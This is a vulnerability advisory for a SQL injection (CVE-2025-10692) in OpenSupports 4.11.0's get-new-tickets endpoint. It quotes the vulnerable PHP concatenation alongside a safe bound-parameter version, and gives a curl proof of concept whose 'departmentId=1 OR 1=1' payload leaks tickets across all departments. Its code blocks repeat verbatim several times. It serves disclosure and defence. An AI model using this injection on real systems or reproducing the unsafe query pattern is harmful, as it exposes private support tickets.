Description The endpoint POST /api/staff/get-new-tickets concatenates the user-controlled parameter departmentId directly into the SQL WHERE clause without parameter binding. As a result, an authenticated staff user (level ≥ 1) can inject SQL to alter the filter logic (e.g., tautologies or time-based primitives), effectively bypassing department scoping and disclosing tickets beyond their intended access.
Vulnerability Relevant backend fragments:
Vulnerable concatenation (server/controllers/staff/get-new-tickets.php):
$departmentId = Controller : : request ( 'departmentId' ) ;
...
if ( $departmentId ) {
$query .= ' AND department_id=' . $departmentId ;
}
$countTotal = Ticket : : count ( $query ) ;
$query .= ' ORDER BY unread_staff DESC' ;
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ( $page -1 ) *10 ;
$ticketList = Ticket : : find ( $query ) ;
$departmentId = Controller : : request ( 'departmentId' ) ;
...
if ( $departmentId ) {
$query .= ' AND department_id=' . $departmentId ;
}
$countTotal = Ticket : : count ( $query ) ;
$query .= ' ORDER BY unread_staff DESC' ;
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ( $page -1 ) *10 ;
$ticketList = Ticket : : find ( $query ) ;
$departmentId = Controller : : request ( 'departmentId' ) ;
...
if ( $departmentId ) {
$query .= ' AND department_id=' . $departmentId ;
}
$countTotal = Ticket : : count ( $query ) ;
$query .= ' ORDER BY unread_staff DESC' ;
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ( $page -1 ) *10 ;
$ticketList = Ticket : : find ( $query ) ;
$departmentId = Controller : : request ( 'departmentId' ) ;
...
if ( $departmentId ) {
$query .= ' AND department_id=' . $departmentId ;
}
$countTotal = Ticket : : count ( $query ) ;
$query .= ' ORDER BY unread_staff DESC' ;
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ( $page -1 ) *10 ;
$ticketList = Ticket : : find ( $query ) ;
Secure pattern for comparison (server/controllers/staff/get-tickets.php):
$condition = 'TRUE' ;
$bindings = [ ] ;
if ( $departmentId ) { $condition .= ' AND department_id = ?' ; $bindings [ ] = $departmentId ; }
$countTotal = $user ->withCondition ( $condition , $bindings ) ->countShared ( 'ticket' ) ;
...
$condition = 'TRUE' ;
$bindings = [ ] ;
if ( $departmentId ) { $condition .= ' AND department_id = ?' ; $bindings [ ] = $departmentId ; }
$countTotal = $user ->withCondition ( $condition , $bindings ) ->countShared ( 'ticket' ) ;
...
$condition = 'TRUE' ;
$bindings = [ ] ;
if ( $departmentId ) { $condition .= ' AND department_id = ?' ; $bindings [ ] = $departmentId ; }
$countTotal = $user ->withCondition ( $condition , $bindings ) ->countShared ( 'ticket' ) ;
...
$condition = 'TRUE' ;
$bindings = [ ] ;
if ( $departmentId ) { $condition .= ' AND department_id = ?' ; $bindings [ ] = $departmentId ; }
$countTotal = $user ->withCondition ( $condition , $bindings ) ->countShared ( 'ticket' ) ;
...
Confidentiality breach: a low-privileged staff user can list “new tickets” across all departments by injecting into the department filter, gaining visibility into titles, content excerpts, and metadata.
Scope escalation: bypass of authorization-by-filter (department-based access control) in the “new tickets” view.
PoC Log in as a staff user (level 1) and extract CSRF:
curl -c s .cookies -sS -X POST 'http://localhost:5543/api/user/login' \
-d 'staff=1' -d '[email protected] ' -d 'password=Test1234@' | tee s_login .json
export U_ID =$ ( jq -r '.data .userId ' s_login.json)
export TOK =$ ( jq -r '.data .token ' s_login.json)
curl -c s .cookies -sS -X POST 'http://localhost:5543/api/user/login' \
-d 'staff=1' -d '[email protected] ' -d 'password=Test1234@' | tee s_login .json
export U_ID =$ ( jq -r '.data .userId ' s_login.json)
export TOK =$ ( jq -r '.data .token ' s_login.json)
curl -c s .cookies -sS -X POST 'http://localhost:5543/api/user/login' \
-d 'staff=1' -d '[email protected] ' -d 'password=Test1234@' | tee s_login .json
export U_ID =$ ( jq -r '.data .userId ' s_login.json)
export TOK =$ ( jq -r '.data .token ' s_login.json)
curl -c s .cookies -sS -X POST 'http://localhost:5543/api/user/login' \
-d 'staff=1' -d '[email protected] ' -d 'password=Test1234@' | tee s_login .json
export U_ID =$ ( jq -r '.data .userId ' s_login.json)
export TOK =$ ( jq -r '.data .token ' s_login.json)
Baseline request (no injection):
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
Tautology injection — expand scope to all departments:
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
-d 'departmentId=1 OR 1=1' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
-d 'departmentId=1 OR 1=1' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
-d 'departmentId=1 OR 1=1' | jq '.'
curl -b s .cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
-d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
-d 'departmentId=1 OR 1=1' | jq '.'
Evidence of Exploitation VIDEO Our security policy We have reserved the ID CVE-2025-10692 to refer to this issue from now on.
Disclosure policy
System Information OpenSupports
Version 4.11.0
Operating System: Any
References Mitigation There is currently no patch available for this vulnerability.
Credits The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.